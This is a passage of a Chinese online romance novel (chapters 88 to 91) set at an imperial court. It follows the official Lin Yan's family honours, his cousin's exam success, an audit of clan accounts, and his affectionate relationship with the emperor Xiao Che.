作者有话说:终于有空上晋江了,捉了好多虫,应该都捉到了,这段时间挺忙的,幸好我有存稿才没有辜负大家的追更,存稿再吃一个月没有问题,大家可以放心[比心] 第88章 第 88 章 好困好困好困,我真的好…… 三月初四, 天还黑得像锅底灰,林砚就被他爹林承稷从温暖的被窝里薅了起来。 昨天上巳节跟萧彻约会走了太多的路,林砚累趴了, 根本起不来, 眼睛睁不开。 林砚感觉自己就是一团泥巴,软趴趴的, 全靠本能洗漱,然后套上官袍, 最后被亲爹被塞进马车。 马车轱辘碾过寂静的街道,林砚脑袋一点一点,纯纯把官帽戳进怀里当抱枕。 “醒醒,快到了。”林承稷看不过眼,推了他一把。 林砚一个迷迷瞪瞪地扒开车窗帘子, 外面依旧黑黢黢,只有零星的昏黄灯笼,像旷野里的萤火虫。 “爹,你说人类为什么一定要上朝……”林砚发出灵魂拷问,声音含混不清,“鸡都没叫呢……” 林承稷已经习惯了林砚每每早起上朝时跟个死鱼一样, 干起正事来又很靠谱的性子, 懒得理林砚的日常抱怨。 又是一套繁琐的流程,林砚站在队列里, 感觉自己像个莫得感情的木头人。 好困好困好困,我真的好困。 好不容易熬到下朝,感觉身体被掏空,父子二人又马不停蹄去六部公廨。 林砚一头扎进户部那堆积如山的文书里,算盘珠子拨得噼啪响, 试图用工作驱散睡魔。 等到日上三竿时,林家才迎来了带着圣旨的李德福。 几匹骏马护着一辆颇为气派的马车停在了林府门前,引得过路行人纷纷侧目。 门房老张头一看这架势,再看来人那身内官服饰和派头,腿肚子有点转筋,忙不迭地迎上去:“这位公公,请问……” 李德福脸上挂着恰到好处的笑容,既不显得过分亲热,又不会让人觉得疏离:“咱家李德福,奉陛下之命,前来宣旨,还请通报文夫人。” 陛下降旨?老张头连忙让人进去通传,自己则将李德福一行人恭敬地请进前厅等候。 文韫正在屋里看账本,听闻陛下派人来宣旨,也没觉得有什么,陛下隔三差五就给林砚送赏赐,他们家接旨也是常有的事情。 她赶紧整理了一下衣饰,带着一脸懵的林墨和闻讯从书房出来的文恪,匆匆赶到前厅。 只是到了前厅,文韫见宣旨的排场和往日大有不同,李德福手持明黄卷轴站在那里,身后跟着几个小太监。 文韫拿不准了。 领着两个孩子跪下,文韫心里有点七上八下。 李德福展开圣旨,清了清嗓子,高声宣读起来。 圣旨文绉绉的,但核心意思很明确,一个字,夸。 先夸林承稷,说他是国之栋梁,兢兢业业,又夸林砚年轻有为,为帝分忧。 最后夸文韫自己,什么“秉性柔嘉,持躬淑慎”,什么“教子有方,温良贤淑”,总之所有形容优秀女性的好词儿几乎堆了个遍。 最后总结陈词:鉴于林承稷和林砚贡献突出,且文韫本人品德高尚,特册封文韫为“仁寿郡君”,以示恩典。 文韫跪在那里,听着那一长串的赞美词和最后的册封,整个人都懵了,脑袋里像是一团浆糊。 郡君? 她? 林墨眨巴着大眼睛,她娘亲封了郡君? 文韫还没反应过来,倒是旁边的文恪,脸上露出了震惊又替姑母高兴的神色。 李德福念完圣旨,笑眯眯地看着还跪着的文韫:“仁寿郡君,快领旨谢恩吧。” 文韫这才如梦初醒,赶紧带着孩子们叩头:“臣妇谢陛下隆恩,万岁万岁万万岁。” 她接过那卷沉甸甸的圣旨,感觉手里像捧着个金疙瘩。 起身后,文韫实在按捺不住心中的惊疑与茫然,小心翼翼地询问李德福:“李公公,陛下怎么会突然封我为郡君?” 李德福笑容不变,语气温和却滴水不漏:“郡君不必多虑,圣旨上写得明明白白,陛下念林大人和林老大人劳苦功高,又感念您持家有方,特降恩典,您啊,安心受着便是天大的福气了。” 他意有所指地补充了一句:“陛下金口玉言,赏罚分明,自然是郡君您值得,才会有此殊荣。” 文韫也不是傻子,听话听音,立刻明白这事不宜深究。 她赶紧让丫鬟取来一个鼓鼓囊囊的精致荷包,里面装满了银瓜子,塞到李德福手里:“有劳公公跑这一趟,一点心意,请公公和各位喝杯茶。” 李德福倒是没推辞,很是自然地收下了:“那咱家就谢郡君赏了,恭喜郡君,贺喜郡君,咱家还要回宫向陛下复命,就不多叨扰了。” 送走了李德福一行,文韫拿着那卷圣旨,站在厅堂里,依旧觉得很不真实。 这就成郡君了?仁寿郡君? 她低头看看圣旨,又抬头看看同样茫然的女儿和侄子。 “娘,郡君算官吗?”林墨好奇地摸着圣旨光滑的缎面。 文韫被她逗笑了,点点她的额头:“傻孩子,娘这不是官,是诰命,是陛下赏的体面。” 话虽如此,她心里那点不踏实感却久久挥之不去。 这恩典来得太突然。 李德福这边出了林府,脸上的笑容淡了些,翻身上马,吩咐下一个目的地。 马车到了另一处宅邸。 这宅子门楼可比林家要气派得多。 李德福让人去叫门,通报的态度可比在林家时平淡了许多。 等了好一会儿,荣阳郡君才慢腾腾地出来接旨。 她脸上还带着些不情愿,显然还没从昨日的冲突和后续的惊恐中完全回过味来。 李德福展开另一道圣旨,声音平板无波,甚至带着点公事公办的冷硬,宣读了她被废黜郡君封号的旨意。 荣阳郡君一听,脸色瞬间煞白,尖叫起来:“不可能!陛下怎能……我要见陛下!定是那林砚小儿进了谗言!” 李德福面无表情地看着她:“郡君,哦不,您现在已无封号,咱家该称您一声老夫人?陛下旨意已下,金口玉言,岂容置疑?见陛下?您如今已无随时请见入宫的资格了。” “至于林侍郎。”李德福嗤笑一声,“陛下圣心独断,岂是臣子能轻易左右的?您还是想想自己往日言行吧。” 这话可谓扎心至极。 荣阳郡君被噎得一口气没上来,指着李德福“你”了半天,最终一屁股瘫坐在地上,嚎啕大哭起来,什么体面尊荣都顾不上了。 她的宗室身份和脸面,就被萧彻一道圣旨给拿走了。 要她说先皇就不该让萧彻登基,明明萧彻跟先皇各种对着干,先皇为什么还是要让这个儿子当皇帝?先皇多的是儿子,为什么不选择其他人? 李德福冷眼看着她这番作态,心里毫无波澜,甚至有点想笑。 早知今日,何必当初? 他懒得再多言,完成差事便带人转身离去,留下身后一片哭天抢地的混乱。 傍晚时分,林砚和林承稷拖着疲惫的身躯下班回家。 刚进大门,林墨就像只欢快的小麻雀一样扑了过来,叽叽喳喳地就把白天李德福来宣旨,自家娘亲被封为仁寿郡君的事情倒豆子似的说了一遍。 林承稷听得一愣,愕然地看向林砚,他完全不知道这回事。 林砚心里门儿清,这是萧彻给自家娘亲找场子兼讨好丈母娘的组合拳。 但他能这么说吗? 那不能。 林砚面不改色,语气轻松地对父亲说:“爹,这是陛下恩典,咱们安心接着就是。” 他甚至还画了个饼:“说不定等我以后官再做大点,还能给娘请封个郡夫人呢。” 林承稷看看儿子,又想想妻子这些年的不易,再琢磨一下皇帝近来对林家的超规格“偏爱”,虽然觉得这恩典来得有点猛,但终究是好事,便也点了点头,对文韫温声道:“既然是陛下恩赏,你便安心受着,这是你的体面,也是咱们家的荣耀。” 文韫见丈夫和儿子都这么说,心里那块大石头总算落了地,脸上露出了真切的笑容。 晚上一家人围坐在一起吃饭,气氛格外温馨。 林承稷看着家人,忽然想起一事,说道:“对了,明日便是春闱放榜之日,陛下将放榜定在日出之时,寓意取个好兆头,我和砚儿要去上朝,怕是没法陪恪儿去看榜了。” 这话一出,所有人的目光都集中到了文恪身上。 文恪拿着筷子的手顿时紧了紧,肉眼可见地紧张起来。 文韫连忙道:“无妨,我陪恪儿去,墨儿也一起去,给你表哥鼓劲。” 林墨也用力点头:“嗯嗯,表哥肯定能高中!” 林砚咽下嘴里的饭,笑着宽慰文恪:“表哥,放宽心,你功底扎实,只要正常发挥,定然没问题,别紧张,等着好消息便是。” 他举起杯:“来,以茶代酒,预祝表哥金榜题名!” 林承稷也附和道:“砚儿说的是,恪儿,平常心对待即可。” 文恪看着大家鼓励的眼神,深吸一口气,努力笑了笑,点了点头,但紧张之色并未完全褪去。 饭后各自回房。 夜深人静,林砚躺在床上,却有些睡不着。 他想起明日放榜,不由得也想起了自己当年参加科考等待放榜的心情。 那种混合着巨大期待和深深不安,以及生怕辜负家人厚望的焦虑,至今记忆犹新。 为了科考,他也没少吃苦,自小便是拿出了高三的劲儿在学习。 只可惜,先皇不喜欢他那种过于犀利的文风,更不喜他这人身上那股子“不安分”的劲儿,最终名次只是中庸,若非后来萧彻登基,将他从祠部司那个泥潭里拔擢起来,他恐怕熬秃了头也看不到出路。 想到这里,林砚轻轻叹了口气。 还好,都过去了,早已柳暗花明—— 作者有话说:中午跟同事一块去吃午饭,遇到很饿的情况,我都会唱“好饿好饿好饿,我真的好饿”[笑哭] 第89章 第 89 章 得此一人,夫复何求。 三月初五, 天还未亮透,空气中还残留着破晓前的清冷。 林砚站在丹园门口,忍不住打了个小小的哈欠, 眼角沁出点生理性的泪水。 他今日特意告了假, 没去户部公廨点卯,揣着褚晔“上贡”的那支据说是赫连锋走商带回来的好毛笔, 直奔丹园而来。 想到褚晔,林砚嘴角就忍不住抽抽。 自打上巳节那日“坦诚相见”后, 褚晔在户部见了他,那眼神躲闪得,活像他林砚是什么吃人的老虎,交接工作时语速都快了三分,恨不得原地消失。 这支上好的笔跟封口费一个性质。 林砚当然懂, 毕竟谁能坦然面对手握自己出柜证据的同事呢?尤其这同事还跟皇帝是一对儿。 理解,万分理解。 所以褚晔不想面圣,林砚也没有强拉着褚晔跟自己一块儿。 丹园的门悄无声息地开了,李德福那张笑眯眯的脸探出来:“林大人,您来了,陛下正等着您呢。” 林砚点点头, 熟门熟路地走了进去。 萧彻并未在惯常的书房, 而是在临水的一间暖阁里。 窗棂敞开,带着水汽的微凉晨风拂入, 吹散了室内浓郁的沉水香,也吹动了萧彻案头那堆积如山的账册文书页角。 这人难得的没有穿一身威严的玄色,而是一身紫袍,并未戴冠,墨发用一根简单的玉簪束着, 正低头看着一份摊开的长卷,眉头微蹙。 听见脚步声,他抬起头,看到是林砚,那双深邃眼眸里的锐利和思索便如同春冰化水,瞬间柔和下来,很自然地朝林砚伸出手:“来了?” 林砚快走几步,很自然地将自己的手放进他掌心,被他微用力一带,就挨着他身边坐下了,动作行云流水。 “嗯,户部没事,就直接过来了。”林砚侧头看他案上的东西,“这么多?都是宗室那些陈年旧账?” “冰山一角。”萧彻揉了揉眉心,语气里带上了极少外露的疲惫,“积弊百年,盘根错节,比想象中更乱,田亩、铺面、食邑、赏赐、借贷……账目不清、记载混乱、甚至多有涂改遗失,张厚朴年纪大了,精力不济,主持大局尚可,具体清查还得靠你和褚晔多费心。” 他说着,很自然地将林砚往怀里又揽了揽,下巴轻轻抵着林砚的发顶,汲取着那点令人安心的气息,仿佛这样就能驱散面对这些烂账的烦躁。 林砚顺势靠着他,拿起最上面一本账册翻看。 好家伙,这记账方式还停留在上古时代,条理不清不楚,字迹龙飞凤舞,关键数字还模糊一片。 很显然,记账的人压根就没有想过要好好做账,纯粹是敷衍。 “这字写得跟鬼画符似的,生怕别人看懂是吧?”林砚忍不住吐槽,“还有这墨,都快晕成一片了,当时记账的人是边打瞌睡边喝汤洒上去了吗?” 萧彻低低地笑了一声,胸腔震动透过相贴的身体传来:“骂得好,所以朕很需要林卿帮朕分担分担。” 他抽过林砚手里的账册,又摊开那卷长长的单子:“你看这里,荣王府光是在京郊的田庄,账面上和实际勘验就对不上数百亩,还有安国公家,历代赏赐的古玩珍宝,库房记录和礼单出入极大,更别提那些暗中放贷,以权势强占民田的烂账……” 两人头挨着头,声音压得低低的,对着那堆积如山的账目和清单,一条条梳理、核对、分析。 林砚是现代灵魂,对数据似乎更为敏感,总是能一眼看出账目中的不合常理之处和可能隐藏的猫腻。 “陛下你看,这笔修缮郡王府的支出,金额大得离谱,时间却对不上工部那边的记录,八成是挪作他用了,或者干脆是虚报。” 萧彻则基于他对宗室各家势力、关系网和过往行事的了解,给出判断:“嗯,荣王这一支向来奢靡,入不敷出是常事,虚报冒领的可能性极大,可以先从他们家近十年的采买和工程账目查起。” 他们讨论时,没有君臣之间刻板的奏对格式,更像是一对搭档在攻克难题。 林砚说得激动处,会无意识地用手指点着账册上的某个数字;萧彻思考时,手指会无意识地绕着林砚的一缕头发;遇到分歧,林砚会据理力争,搬出现代财务理念试图说服萧彻;萧彻则会用更宏观的权谋角度来分析利弊。 偶尔争急了,林砚会忍不住瞪眼,萧彻便笑着捏捏他的后颈,像是给炸毛的猫顺毛,往往就能让林砚那点小脾气消弭于无形,然后两人又能心平气和地继续讨论。 李德福进来添了两次茶水,看到陛下和林大人脑袋凑在一起,一个说一个听,偶尔低声争论几句,气氛却异常融洽亲密,便又悄无声息地退了出去,脸上带着老母亲般的欣慰笑容。 时间就在这专注的讨论中悄然流逝。 直到窗外阳光渐烈,接近午时,萧彻才将手中最后一份文书放下,长长舒了口气,眉眼间的疲惫却消散了不少,显然这番梳理让他心中更有底了。 他侧过头,看着身边正因为找到一个账目漏洞而眼睛发亮的林砚,心中微软,忽然问道:“含章,你那位参加春闱的表哥,是叫文恪?” 林砚正沉迷于捉虫,闻言愣了一下,才反应过来:“啊?对,文恪,怎么了陛下?难道……” 他一下抓住萧彻的胳膊晃了晃:“他中了?” 萧彻反手握住林砚的手,指尖在他手背上轻轻摩挲:“嗯,朕看过今科所有考生的试卷,他的文章,朕有印象。” 林砚眼睛瞬间睁大了,屏住呼吸等着下文。 萧彻却不急,慢条斯理地道:“他的文风,务实,清晰,不尚浮华空谈,这一点,倒与你,还有你父亲,颇有几分相似,看来家风如此,难怪是一家人。” 林砚听得心痒难耐,忍不住又晃了晃萧彻的胳膊:“所以呢所以呢?名次怎么样?留馆还是外放?” 看着林砚那急切的样子,萧彻眼底笑意更深,存心逗他似的,依旧不直接回答,反而分析起来:“文恪的文章,根基扎实,言之有物,但比起你……” 萧彻目光落在林砚脸上,带着几分调侃:“少了几分被毒打过的老练和圆滑刁钻。” 林砚:“……”谢谢,有被内涵到。 “而且。”萧彻继续道,“他尚无实际政务经验,也未经过大风浪,心性虽纯良,却略显稚嫩,不像你,有个做官的爹从小熏陶,自己又在祠祭司那等地方历练过。” “因此。”萧彻终于下了结论,“以他的才学和眼下情形,留京入翰林院并非上选,经吏部核查后,应当会外放,从地方实务做起,或是县尉,或是录事参军,磨砺一番,方能成大器。” 林砚听完,巨大的惊喜如同烟花般在他脸上炸开。 外放,这意味着文恪考中了! “太好了!”林砚高兴得差点跳起来,一把抱住萧彻的脖子,兴奋地晃了晃,“表哥他真的中了,我就知道他可以,县尉也好,参军也罢,都是实实在在做事的位置,正适合他。” 林砚满心都是替文恪感到的喜悦。 萧彻被他扑得往后仰了仰,连忙伸手搂住他的腰稳住他,感受着怀里人发自内心的欢欣雀跃,嘴角也无法抑制地高高扬起。 但笑了片刻,萧彻看着林砚亮晶晶的眼睛,忽然轻声问:“含章,朕本可以破格将他留在京城,哪怕只是个九品小官,有你看顾,总比人生地不熟的外地更好,但朕不打算这么做,你会不会觉得朕有些不近人情?” 他问得有些小心,目光仔细描摹着林砚的表情。 林砚闻言,脸上的笑容却丝毫未减。 他非但没有松开萧彻,反而更用力地往他怀里挤了挤,几乎整个人窝进萧彻怀里,然后仰起脸,伸出手臂勾住萧彻的脖子,眼神清澈又带着点好笑地看着他:“陛下,你脑子里一天到晚都在想些什么呢?” 林砚凑近了些,鼻尖几乎要蹭到萧彻的下巴,声音带着暖融融的笑意:“我是跟你在一起了,但又没想当个佞臣,也没想拉着全家一起搞裙带关系升职那套,文恪表哥有真才实学,正该凭自己的本事从实处做起,一步步走上来,你这样安排,是为他好,也是为国选材,我高兴还来不及,怎么会觉得你不近人情?” 他伸出食指,轻轻点了点萧彻的眉心:“陛下,自信点,别老是胡思乱想,你是皇帝,该怎样就怎样,不用因为我就束手束脚,或者觉得亏欠了我什么,咱们俩是咱们俩,公事是公事,我分得清。” 萧彻怔怔地看着林砚,看着他那双映着自己身影,写满了坦然和真诚的眼睛,心底那一丝疑虑和担忧,瞬间被这番话熨帖得平平整整,眼里的暖意如同春水般蔓延开来。 他收紧了环在林砚腰间的手臂,将人更深地按进自己怀里,低头将脸埋在林砚的颈窝,深深吸了一口气,闻着他身上清爽又温暖的气息,闷声笑了笑:“是朕想岔了。” 他的含章,从来都是这般通透明白,看得比谁都清楚。 得此一人,夫复何求。 静默相拥了片刻,萧彻忽然抬起头,眼神里掠过一丝狡黠的光,顺势而为地提出:“既然含章如此深明大义,那,明晚留在宫里住,可好?就说是要商议清查宗室账目的公务,细节繁多,需连夜核对。” 林砚:“???” 还得是你啊陛下。 今天明明都快商议完了,这人找借口还能再明显一点吗? 虽然男朋友找的借口很蹩脚,但是林砚肯定一口答应啊。 林砚忍着笑,故作严肃地考虑了三秒钟,然后大方地点点头:“准了。” 萧彻眼底瞬间亮起惊人的光彩,嘴角控制不住地向上扬起,搂着林砚腰的手又紧了几分,低头飞快地在他唇上啄了一下:“谢含章恩典。” 那笑容灿烂得,差点晃花了林砚的眼。 哎呀,含蓄一点嘛。 第90章 第 90 章 阳光很好,人也温柔。…… 林砚比林承稷先一步踏进家门。 林承稷在工部被一点琐事绊住了脚, 林砚惦记着文恪放榜的大事,脚下生风,官袍下摆都要甩出残影。 刚进府门, 就被文韫逮个正着。 “快快快, 热水都备好了,赶紧去沐浴净身, 换身新衣裳。”文韫指挥起人来风风火火。 林砚被他娘推着往自己院里走,哭笑不得:“娘, 这太阳还没下山呢,沐浴什么呀?再说表哥考中,该是他沐浴更衣……” “让你去你就去。”文韫眼睛一瞪,“讲究的就是个心意,心诚则灵, 懂不懂?你当初考中,娘也是这么给你操办的。” 林砚瞬间闭嘴。 行吧,他娘有了之前操办他中榜的经验,如今俨然是这方面的专家。 林砚老老实实钻进浴桶,把自己涮得干干净净,出来时发现一套崭新的宝蓝色锦袍已经备好, 熏着淡淡的松木香, 一看就是他娘的手笔。 穿戴整齐出来,正好碰上刚回来的林承稷。 父子二人对视一眼, 都在对方眼里看到了同款被迫营业的无奈,以及藏不住的喜悦。 “爹,您也……”林砚指指他爹捧着的同样崭新的藏青色直裰。 林承稷无奈地捋了捋袖子:“你娘安排的,说是要隆重。” 正说着,文韫又风风火火地过来, 把林承稷也推去沐浴了。 等林承稷也收拾停当,一家人总算在正厅汇合。 文恪被林墨拉着,身上套了件极其喜庆的大红色新衣,衬得他原本过分白净的脸都红润了几分。 文恪显然很不适应这么扎眼的颜色,手脚都有些不知道往哪放。 “姑母,这太隆重了吧?”文恪小声。 “要的就是隆重。”文韫喜气洋洋地帮他理了理衣襟,“红色多好,喜庆,看着就让人高兴。” 林墨在一旁捂嘴偷笑,被文恪无奈地看了一眼。 天色渐晚,华灯初上。 文韫估摸着时辰差不多了,指挥着下人在府门前空地上铺开长长的鞭炮。 左邻右舍似乎也知道林家今日有喜事,不少人都探头探脑地张望,脸上带着善意的笑容。 “点鞭炮!”文韫一声令下。 早就候着的家仆立刻用香火引燃了炮捻。 刹那间,“噼里啪啦”的爆响声震耳欲聋,红色的纸屑漫天飞舞,硝烟味混合着喜庆的气氛弥漫开来,浓郁的年节味道似乎又被拉了回来。 林砚捂着耳朵,看着家门口这热闹非凡的景象,嘴角忍不住上扬。 虽然流程略显浮夸,但这种充满烟火气的庆祝方式,确实让人心情大好。 鞭炮放完,地上铺了厚厚一层红纸屑,像是铺了张华丽的地毯。 文韫又拿出早就准备好的红封,给府里上上下下的仆役都发了赏钱,人人有份。 那些平日里细心照顾文恪饮食起居的婆子小厮,还额外多得了一份厚赏,乐得他们见牙不见眼,吉祥话一筐一筐地往外倒,把文恪夸得天上地下绝无仅有。 文恪被围在中间,脸红得快要滴血,连连拱手作揖,那副老实又局促的样子,看得林砚直乐。 热闹过后,一家人回府用晚饭。 饭桌上气氛轻松愉快,大家都默契地没有多问放榜的具体细节,免得给文恪增加压力,只聊些家常闲话。 文恪虽然还是有些紧张,但在一家人的谈笑风生中,也渐渐放松下来。 晚饭用罢,撤去杯盘,换上清茶。 一家人正喝着茶闲聊消食,就听见外头由远及近传来一阵喧哗声,还夹杂着清晰的锣响。 “来了来了!”林墨第一个跳起来,眼睛亮晶晶地望向门口。 文韫也立刻放下茶盏,脸上露出期待又紧张的神色。 林承稷轻咳一声,坐直了身子。 文恪更是“唰”地一下站了起来,手指下意识地攥紧了衣角。 只见门房老张头几乎是连滚带爬地跑进来,激动得声音都变了调:“老爷!夫人!报喜的官差来了!到咱家门口了!” “快请进来!”文韫连忙起身吩咐,自己也忍不住往前迎了几步。 很快,几个穿着公服满面红光的报子被引了进来,为首的差官手里拿着一个大红的喜报,嗓门洪亮:“捷报!贵府文恪老爷,高中甲辰科进士,二甲第四十七名!恭贺文老爷金榜题名!” “好!好!好!”林承稷抚掌大笑,连说了三个好字。 文韫更是喜上眉梢,眼圈都有些发红,连忙示意自己的丫鬟将早就备好红封递上去。 文恪站在原地,像是被这巨大的惊喜砸懵了,愣了好一会儿,直到林砚笑着推了他一把,才猛地回过神,赶紧上前,从怀里掏出自己准备的那个更厚实的红封,亲自塞到报子头儿手里,声音因为激动而有些发颤:“有劳各位差爷,一点心意,沾沾喜气……” 报子头儿捏着那厚度可观的红封,脸上的笑容更加灿烂,吉祥话更是不要钱似的往外蹦:“谢文老爷厚赏!文老爷年轻有为,才华横溢,将来必定官运亨通,前程万里!” 其他报子也跟着一起道贺,什么“鹏程万里”“光宗耀祖”的词儿一套一套的。 文韫看着高兴,又让丫鬟端来几盒包装精美的点心,都是五味斋买的昂贵货色,给报子们带上。 报子们更是喜出望外,接过点心,嘴里还小声嘀咕:“这林家真是没话说,又大方又周到,真会做人……” 欢天喜地地送走了报子,林家府内再次陷入一片欢腾。 下人们又纷纷上来给文恪道喜,文韫大手一挥,再次撒了一轮赏钱。 文恪站在一片祝贺声中,脸上洋溢着如梦似幻的喜悦,眼眶微微湿润,不住地向姑母、姑父、表弟表妹道谢。 林砚看着他这副样子,心里也替他高兴。 二甲四十七名,这个名次相当不错了,稳稳当当,足以谋个好缺。 他想起萧彻的话,看来文恪的外放是板上钉钉了。 不过这确实是条好路子。 夜色渐深,热闹散去。 文恪被这巨大的惊喜和接连的应酬弄得疲惫又兴奋,被文韫赶回房去休息。 林砚也回到了自己的院子。 洗漱完毕,躺在熟悉的床上,却没什么睡意。 白天和萧彻头碰头看账册的画面,晚上家里热闹喜庆的场面,还有文恪那张激动泛红的脸,交错在脑海里闪过。 今天原来发生了这么多的事情。 林砚翻了个身,想到明天还要进宫——以商议公务为名,行那啥之实。 嘴角忍不住弯了起来。 翌日早朝,太仪殿内庄严肃穆。 萧彻高坐龙椅,冕旒下的面容看不清具体神情,只听得声音平稳威严,如同玉磬轻击,清晰地传遍大殿每个角落。 他先是过问了春闱后续事宜,目光扫过吏部官员所在的方向:“今科进士既已放榜,吏部当尽快核验履历,斟酌铨选,务使人尽其才,莫负寒窗苦读之功。各地州县空缺,亦需及时补上,不得延误。” 吏部官员连忙出列躬身应喏,不敢耽搁了要事。 接着,萧彻话锋一转,提起了宗室之事。 他没有直接点破荣阳郡君那档子糟心事,只语气平淡地提及近来察觉宗室之中或有“不谐之音”,为保全宗室体面、肃清积弊,特命户部牵头,都察院协理,对宗室田亩、产业、赏赐及各项用度进行一次彻底的“清点核验”。 “户部尚书张厚朴主理此事,户部左右侍郎褚晔、林砚,你二人需全力协助张爱卿,给朕仔细地查,彻底地查,账目、田契、库藏,一应物事皆需核对分明,凡有不清不楚、不合规制之处,无论涉及何人,一律据实上报,不得徇私,不得延误。” 被点名的张厚朴、褚晔、林砚立刻出列,齐声应道:“臣等遵旨!” 满朝文武鸦雀无声,心里却都跟明镜似的。 陛下这是要借着由头,对盘根错节、奢靡成风的宗室势力动手了。 宗室能长成如今这个样子,跟先皇的放纵也脱不了干系。 只怕今天圣旨一下,宗室里又会多出好些人像荣阳郡君那样,怨先皇为什么要把皇位传给萧彻。 百官山呼万岁,依次退出大殿。 褚晔偷偷拉住林砚:“说好的我不去御前。” 林砚则笑了笑:“你跟部堂回户部就是,陛下那我去。” 褚晔略一抱拳:“好,多谢。” 林砚这么耿直,褚晔想,他得让赫连锋再淘点好东西给林砚,以表谢意。 今日萧彻不在御书房,而是让李莲顺接了林砚去紫极殿。 林砚宿在宫里也是住清漪阁,紫极殿也没有踏足过几次。 绕过一架紫檀木雕花屏风,林砚一眼就看见已经换下龙袍的萧彻,正背对着他,站在临窗的长案前,低头看着什么。 阳光透过雕花窗棂,在萧彻身上勾勒出一圈柔和的光晕,削弱了平日里的凛然帝王气,倒显出几分罕见的闲适慵懒。 听到脚步声,萧彻回过头来,看到是林砚,唇角自然便漾开一丝笑意,朝他招手:“过来。” 林砚几步走过去,目光落在长案上,发现那上面摊开的并非什么文书,而是一幅极为精细华美的园林画卷。 “陛下,这是?”林砚有些好奇。 萧彻将他拉到身边,手指点着画卷上一处亭台水榭:“看看,喜欢吗?这是内廷司刚呈上来的丹园改建图样,朕想着,既然日后要常去,总得再修缮得舒适些,添些你喜欢的景致,你看这处水榭,夏日赏荷最好,旁边还可辟个小书房,若是公务累了,也能歇歇……” 他语气平常,仿佛在讨论今天天气如何,内容却让林砚心头猛地一跳。 丹园,那是他们私下相约的地方。 萧彻这般,是要将丹园作为他们的小家吗? 林砚看着那精工细绘的图样,再看看身边眉眼温和、带着征询意味看着他的皇帝陛下,耳朵尖悄悄爬上一抹热意。 跟现代社会的小情侣装修新房似的。 “含章觉得有何处需要改动?但说无妨。”萧彻生怕林砚不好意思开这个口,特意说明,“银子花的是我的私库,不是国库里的。” 林砚轻咳一声,把注意力拉回到图纸上,指了指水榭另一边:“这里能不能多种点翠竹?清幽些,夏天也凉快。” “好。”萧彻拿起旁边备着的朱笔,就在图纸上做了个标记,“还有呢?” “书房窗外,最好有棵能遮阴的树,最好是果树,比如石榴或者柿子什么的,秋天还能结果子吃。”林砚的田园意识蠢蠢欲动。 萧彻依旧点头:“让内廷司选些好的果树移栽过去。” 两人就这么头碰着头,对着那张图纸,讨论哪里该种花,哪里该引水,哪里该安置一张舒服的软榻…… 阳光暖暖地洒在他们身上,空气中沉水香氤氲浮动,混合着彼此身上干净的气息。 讨论间隙,萧彻很自然地伸手,替林砚将一缕滑落颊边的发丝掠到耳后,指尖不经意擦过微热的耳廓。 林砚的心跳漏了一拍,抬起眼,正好撞进萧彻深邃的眼眸里。 那里面清晰地映着他的影子,以及毫不掩饰的温柔与专注。 阳光很好,人也温柔。《 》 90-100 第91章 第 91 章 萧彻自己畅快了,自然投…… 林砚迈出房间的门槛时, 脑子里还盘旋着户部那摊子烂账,宗室各家田亩数字像走马灯似的转个不停。 他习惯性地抬脚就想往自己常住的清漪阁拐,脚尖还没调转方向, 一股不容抗拒的力道便揽住了他的腰, 将他往后一带。 林砚猝不及防,后背撞进一个温热坚实的胸膛, 熟悉的沉水香气瞬间包裹了他。 “去哪儿?”萧彻的声音从他头顶传来,低低的, 贴得极近,呼吸拂过他耳廓。 林砚下意识地如实回答:“去清漪……” 话没说完,他感觉到圈在腰上的手臂收得更紧了些。 林砚略感茫然地侧过头,对上萧彻垂下的视线,那双平日深沉威严的凤眸里, 此刻竟漾着点哀怨。 “进宫来,就是为了跟朕分居?”萧彻盯着他,语气里那点不满和委屈拿捏得恰到好处,仿佛林砚做了什么十恶不赦的事情。 林砚一愣,电光石火间,福至心灵。 哦—— 林砚转身踮起脚尖, 在萧彻下颌上飞快地“啾”了一下, 声音软和下来,带着点儿哄人的意味:“哪能呢?进宫留宿当然是要跟你住一块儿的, 刚才那是习惯,纯属习惯性动作,没过脑子,最好的陛下不要跟臣计较好不好?” 萧彻眼底那点故作哀怨瞬间冰消雪融,被明亮的笑意取代, 但他显然不满足于这样一个蜻蜓点水般的安慰。 他得了便宜还卖乖,手臂用力,直接将林砚抱了起来。 “哎!”林砚低呼一声,下意识地搂住萧彻的脖子。 萧彻几步走到书案前,竟将林砚放在了那堆满了奏疏文书的紫檀木大案上。 纸张被压得窸窣作响,林砚半坐在案沿,高度恰好与站着的萧彻平视。 “证明给朕看。”萧彻压低声音,手掌撑在林砚身侧的案面上,将他圈在方寸之间,目光灼灼,带着显而易见的期待。 林砚被他看得脸颊发烫,嘴上嘀咕着“哪有你这样的”,但身体却很诚实,他凑上前,吻住了萧彻的唇。 这个吻开始还带着些试探和安抚的意味,但很快就在萧彻热烈的回应下变了调。 气息交缠,温度攀升,林砚被亲得有些晕头转向,下意识地后仰,手在案面上胡乱一撑,却不知碰到了哪里,只听“哗啦”一声脆响,似乎是笔架倒了,紧接着好几卷文书被他失手扫落在地,散乱一地。 但此刻谁也无暇去顾及那些可怜的公文。 萧彻的手臂紧紧箍着林砚的腰,将他更深地压向自己,吻得愈发深入,仿佛要将他吞吃入腹。 林砚只觉得氧气稀薄,浑身发软,所有的思绪都被搅成了一锅粥,只能被动地承受着,偶尔从喉咙里溢出几声细微的呜咽。 不知过了多久,就在林砚觉得自己快要窒息时,萧彻终于稍稍退开些许,两人的额头相抵,呼吸都急促得不成样子。 林砚眼睫湿漉,嘴唇红肿,茫然地睁着眼,看着近在咫尺的俊颜,舔了舔红润润的唇。 萧彻眸色深得吓人,里面翻涌着林砚熟悉又陌生的暗潮。 这人不再满足于这样的亲昵,手臂穿过林砚的膝弯和后背,稍一用力,便将人打横抱了起来。 身体骤然悬空,林砚轻呼一声,下意识地更紧地搂住萧彻的脖子。 萧彻抱着他,大步绕过屏风,径直走向内殿那张宽大无比的龙榻。 身体陷入柔软的被褥中,林砚还没回过神来,萧彻便已覆身而上,再次吻住他。 龙榻远比清漪阁的床榻宽敞,也更柔软,承托着两人紧密相贴的身体。 细密的吻落在唇上、脸颊、颈侧,带着灼人的温度,所过之处仿佛点燃一簇簇小火苗。 意乱情迷间,林砚尴尬地发现自己身体起了反应。 更要命的是,透过薄薄的衣料,他也清晰地感觉到萧彻身体的变化。 【果然是春天到了,万物复苏,又到了动物们那什么的季节,连皇帝陛下都不能免俗。】 正埋首在林砚颈间亲吻的萧彻动作猛地一顿,身体似乎僵硬了一瞬,肩头甚至微不可察地抖了一下。 